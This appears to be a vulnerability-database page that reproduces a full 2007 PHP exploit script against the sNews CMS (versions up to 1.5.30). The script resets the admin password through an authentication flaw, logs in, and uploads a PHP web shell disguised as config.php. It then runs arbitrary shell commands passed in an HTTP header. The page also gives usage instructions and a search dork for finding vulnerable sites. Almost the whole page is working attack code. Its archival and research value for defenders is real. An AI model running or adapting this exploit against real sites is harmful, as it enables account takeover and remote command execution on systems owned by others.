Lucene search
K

sNews <= 1.5.30 Remote Reset Admin Pass / Command Exec Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

sNews <= 1.5.30 Remote Reset Admin Pass / Command Exec Exploit. Unauthorized access to admin password reset. Upload PHP file to launch commands

Code

                                                &#60;?php
print_r(&#39;
---------------------------------------------------------------------------
sNews &#60;= 1.5.30 unauthorized access / reset admin pass / cmd exec exploit
by rgod
dork: &#34;Barbecued by sNews&#34;
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
&#39;);
/*
works regardless of php.ini settings
*/
if ($argc&#60;5) {
    print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path your_ip cmd [options]
host:      target server (ip/hostname)
path:      path to sNews
your_ip:   your ip address, this is needed for upload
           this is automatically set to your proxy ip, if you use one
cmd:       a shell comand
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php &#39;.$argv[0].&#39; localhost /snews/ ls -la -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost / cat snews.php -p81
---------------------------------------------------------------------------
&#39;);
    die;
}

error_reporting(&#34;E_ALL&#34;);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$your_ip=$argv[3];
$port=80;
$proxy=&#34;&#34;;
$cmd=&#34;&#34;;
for ($i=4; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;) and ($temp&#60;&#62;&#34;-P&#34;)) {$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
  $tmp=explode(&#34;:&#34;,$proxy);
  $your_ip=$tmp[0];
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

/*
software site: http://www.solucija.com/home/snews/

you can have unauthorized access to admin password reset feature and other ones,
after that you can upload a php file and launch commands

see snews.php near lines 392-395:
...
function center() {
	if (isset($_GET[&#39;category&#39;])) {$id = $action = $_GET[&#39;category&#39;];}
	if (isset($_GET[&#39;articleid&#39;])) {$articleid = $_GET[&#39;articleid&#39;];}
	if (isset($_POST[&#39;submit_text&#39;])) {processing(); $processed = true;}
...

now look at processing() function near line 1300:

...
function processing() {
	if ($_SESSION[db(&#39;website&#39;).&#39;Logged_In&#39;] != &#39;True&#39;) {notification(l(&#39;error_not_logged_in&#39;),&#39;&#39;,&#39;login/&#39;);}
...

and to notification() one near lines 675-680:

...
function notification($error, $errNote, $link) {
	$errNote = !empty($errNote) ? &#39;&#60;br /&#62;&#39;.$errNote : &#39;&#39;;
	echo &#39;&#60;h2&#39;.(!empty($error) ? &#39; class=&#34;error&#34;&#62;&#39;.l(&#39;admin_error&#39;).&#39;&#60;/h2&#62;&#60;p&#62;&#39;.$error.$errNote.&#39;&#60;/p&#62;&#39; : &#39;&#62;&#39;.l(&#39;operation_completed&#39;).&#39;&#60;/h2&#62;&#39;);
	echo (!empty($link)) ? &#39;&#60;p&#62;&#60;a href=&#34;&#39;.db(&#39;website&#39;).$link.&#39;&#34; title=&#34;&#39;.l(&#39;back&#39;).&#39;&#34;&#62;&#39;.l(&#39;back&#39;).&#39;&#60;/a&#62;&#60;/p&#62;&#39; : &#39;&#39;;
}
...

funny! there is no exit() or die()...

this one reset the admin password and try to upload a php file
*/

$data=&#39;-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;submit_text&#34;;

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;task&#34;;

changeup
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;submit_pass&#34;;

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;uname&#34;;

suntzu
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;pass1&#34;;

suntzu
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;pass2&#34;;

suntzu
-----------------------------7d61bcd1f033e--
&#39;;
$packet =&#34;POST &#34;.$p.&#34; HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep(1);

$data =&#34;uname=suntzu&#34;;
$data.=&#34;&pass=suntzu&#34;;
$data.=&#34;&Loginform=True&#34;;
$data.=&#34;&submit=Login&#34;;
$packet =&#34;POST &#34;.$p.&#34; HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
if (!eregi(&#34;Admin&#60;/legend&#62;&#34;,$html)){die(&#34;exploit failed...&#34;);}
$cookie=&#34;&#34;;
$temp=explode(&#34;Set-Cookie: &#34;,$html);
for ($i=1; $i&#60;count($temp);$i++)
{
$temp2=explode(&#34; &#34;,$temp[$i]);
$cookie.=trim(str_replace(&#34;\n&#34;,&#34;&#34;,str_replace(&#34;\r&#34;,&#34;&#34;,$temp2[0])));
}
//echo &#34;cookie -&#62; &#34;.$cookie.&#34;\n&#34;;

$data=&#39;-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;upload_dir&#34;;

.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;imagefile&#34;; filename=&#34;config.php&#34;
Content-Type: image/jpeg;

&#60;?php error_reporting(0); set_time_limit(0); echo &#34;my_delim&#34;; passthru($_SERVER[&#34;HTTP_SUNTZU&#34;]); echo &#34;my_delim&#34;;?&#62;
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;ip&#34;;

&#39;.$your_ip.&#39;
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;time&#34;;

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;upload&#34;;

Upload
-----------------------------7d61bcd1f033e--
&#39;;
$packet =&#34;POST &#34;.$p.&#34;files/ HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Connection: close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep(1);

$packet =&#34;GET &#34;.$p.&#34;config.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;SUNTZU: &#34;.$cmd.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
if (eregi(&#34;my_delim&#34;,$html))
{
$temp=explode(&#34;my_delim&#34;,$html);
echo $temp[1];
}
else
{
  echo &#34;exploit succeeded... but, for some reason, failed to upload shell, try to login manually with user &#39;suntzu&#39; & password &#39;suntzu&#39;&#34;;
}
?&#62;

# milw0rm.com [2007-01-12]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14